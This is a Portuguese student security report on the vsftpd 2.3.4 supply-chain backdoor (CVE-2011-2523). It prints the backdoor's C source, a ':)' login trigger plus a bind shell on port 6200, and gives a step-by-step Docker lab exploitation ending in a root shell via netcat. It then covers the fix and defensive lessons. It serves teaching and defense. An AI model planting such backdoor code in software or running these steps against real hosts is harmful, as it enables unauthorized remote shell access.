

Relatório Técnico: Segurança em Redes

Felipe Kelemen, Gustavo Bastos, Octavio Carneiro

19 de junho de 2026

1 Descrição da CVE Escolhida

- **Identificador CVE:** CVE-2011-2523
- **Sistema afetado:** vsftpd (Very Secure FTP Daemon), versão 2.3.4
- **Tipo de vulnerabilidade:** execução remota de comandos por backdoor inserido em ataque à cadeia de suprimentos
- **Como a falha ocorre:** a distribuição oficial do software foi adulterada antes da publicação, com inserção de código malicioso no fluxo de autenticação. Quando o usuário informado no login contém a sequência ' :) ', o binário passa a escutar a porta 6200 e expõe um shell remoto sem autenticação.
- **Impacto da exploração:** o atacante obtém uma shell com os mesmos privilégios do processo que executa o vsftpd. Em implantações históricas de daemon FTP, isso muitas vezes significava privilégios elevados, inclusive root, ainda que versões posteriores tenham adotado usuário dedicado por razões de segurança.
- **Classificação de severidade:** CVSS 2.0: 10.0 HIGH, CVSS 3.x: 9.8 CRITICAL

2 Funcionamento Técnico da Vulnerabilidade

O ataque explorava o momento em que o servidor processa o nome de usuário enviado no login FTP. O código malicioso foi inserido em dois pontos centrais:

2.1 Trecho 1: gatilho no login (str.c)

No handler de login, foi adicionado um teste para detectar a sequência ' :) '. Quando o padrão aparece no nome de usuário, a rotina chama `vsf_sysutil_extra()`:

```
else if((p_str->p_buf[i]==0x3a)
&& (p_str->p_buf[i+1]==0x29))
{
    vsf_sysutil_extra();
}
```

2.2 Trecho 2: backdoor na porta 6200 (sysdeputil.c)

A função maliciosa `vsf_sysutil_extra()` abre um socket na porta 6200, aceita conexões e entrega um shell interativo ao atacante:

```

int
vsf_sysutil_extra(void)
{
    int fd, rfd;
    struct sockaddr_in sa;
    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) // cria socket TCP
        exit(1);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(6200); // porta do backdoor
    sa.sin_addr.s_addr = INADDR_ANY;
    if((bind(fd, (struct sockaddr *)&sa,
    sizeof(struct sockaddr))) < 0) exit(1);
    if((listen(fd, 100)) == -1) exit(1); // começa a escutar conexoes
    for(;;)
    {
        rfd = accept(fd, 0, 0);
        close(0); close(1); close(2);
        dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2); // redireciona E/S para o socket remoto
        execl("/bin/sh", "sh", (char *)0); // executa shell para o atacante
    }
}

```

Em termos práticos, o backdoor funciona como um serviço auxiliar oculto: depois que o usuário digita o nome com `' : ) '`, o programa começa a aceitar conexões na porta 6200. O atacante então se conecta com um cliente TCP, como `netcat`, e passa a executar comandos no contexto do processo vulnerável.

3 Arquitetura do Experimento

- **Ambiente controlado:** o experimento foi executado em containers Docker conectados a uma rede bridge dedicada (`vsftpd-lab`), isolando atacante e vítima do restante do sistema.
- **Container da vítima:** executa o `vsftpd` vulnerável compilado a partir do código-fonte, permitindo observar o comportamento do binário adulterado em um ambiente reproduzível.
- **Container do atacante:** fornece ferramentas de teste, como cliente FTP e `netcat`, para acionar o backdoor e validar a conexão remota.
- **Fluxo de execução:** primeiro sobe-se a infraestrutura com `make up`. Em seguida, acessa-se o container da vítima com `make victim`, recompila-se o servidor em `/opt/vsftpd-2.3.4` e executa-se o daemon vulnerável. Depois, em outro terminal, acessa-se o container do atacante com `make attacker` para disparar a exploração.

4 Demonstração da Exploração

4.1 Passo a passo

1. Subir os containers com `make up`.

2. Abrir um shell na vítima com `make victim`.
3. Acessar o diretório do código-fonte com `cd /opt/vsftpd-2.3.4-infected`.
4. Compilar e iniciar o servidor com `make` e `./vsftpd vsftpd.conf`.
5. Em outro terminal, abrir o shell do atacante com `make attacker`.
6. Conectar ao serviço FTP com `ftp victim`.
7. Quando o prompt solicitar o nome do usuário, informar uma string contendo `' :) '`.
8. Encerrar a sessão FTP e aguardar a ativação do backdoor.
9. Conectar na porta 6200 com `nc victim 6200`.
10. Executar `whoami` para confirmar o contexto do shell obtido.

4.2 Impacto observado

A exploração concedeu uma shell remota sem autenticação adicional. Em nosso ambiente, o processo da vítima foi executado com privilégios de root, portanto o comando `whoami` retornou `root`. Em uma implantação real, o impacto seria equivalente aos privilégios da conta usada para iniciar o daemon.

5 Estratégia de Mitigação

- **Correção implementada:** os dois trechos maliciosos mostrados acima foram removidos: o gatilho no login em `str.c` e a função `vsf_sysutil_extra()` em `sysdeputil.c` (incluindo sua declaração em `sysdeputil.h`).

5.1 Validação da correção

Após recompilar e reiniciar o programa corrigido, o envio de um nome de usuário contendo `' :) '` deixa de abrir a porta 6200, eliminando o backdoor.

6 Resultados e Análise

- **Sistema vulnerável:** o binário adulterado apresenta um backdoor acionado pelo padrão `' :) '` no nome de usuário. A ativação pode não ser imediata em todos os testes, pois depende do momento em que o handler de login processa a string e passa a escutar a porta 6200.
- **Sistema corrigido:** após a remoção do código malicioso, o mesmo fluxo de login não cria nenhuma escuta adicional e não permite abertura de shell remoto.
- **Análise:** a diferença entre as duas versões confirma que a falha não estava em um bug acidental do protocolo FTP, mas sim em código deliberadamente malicioso inserido na distribuição. Isso caracteriza um ataque de supply chain com alto potencial de comprometimento total do host.

7 Lições Aprendidas sobre Segurança

Conclusão: o caso mostra que a confiança na origem de um pacote é tão importante quanto a correção funcional do código. Um binário aparentemente legítimo pode conter uma porta de entrada completa para o atacante se a cadeia de distribuição for comprometida.

7.1 Lições principais

- validar integridade e assinatura de artefatos antes de instalar ou atualizar software;
- reduzir privilégios de serviços sempre que possível, para limitar o impacto de um comprometimento;
- monitorar mudanças inesperadas de comportamento, como a abertura de portas não documentadas;
- manter processos de atualização e pinagem de versão para evitar execução de pacotes adulterados.

7.2 Contexto atual

Ataques de supply chain continuam relevantes e, com a automação auxiliada por IA, a produção de variantes maliciosas pode se tornar mais rápida e volumosa. Por isso, controles como verificação por hash, assinatura de release, revisão de dependências e atualização controlada são medidas essenciais.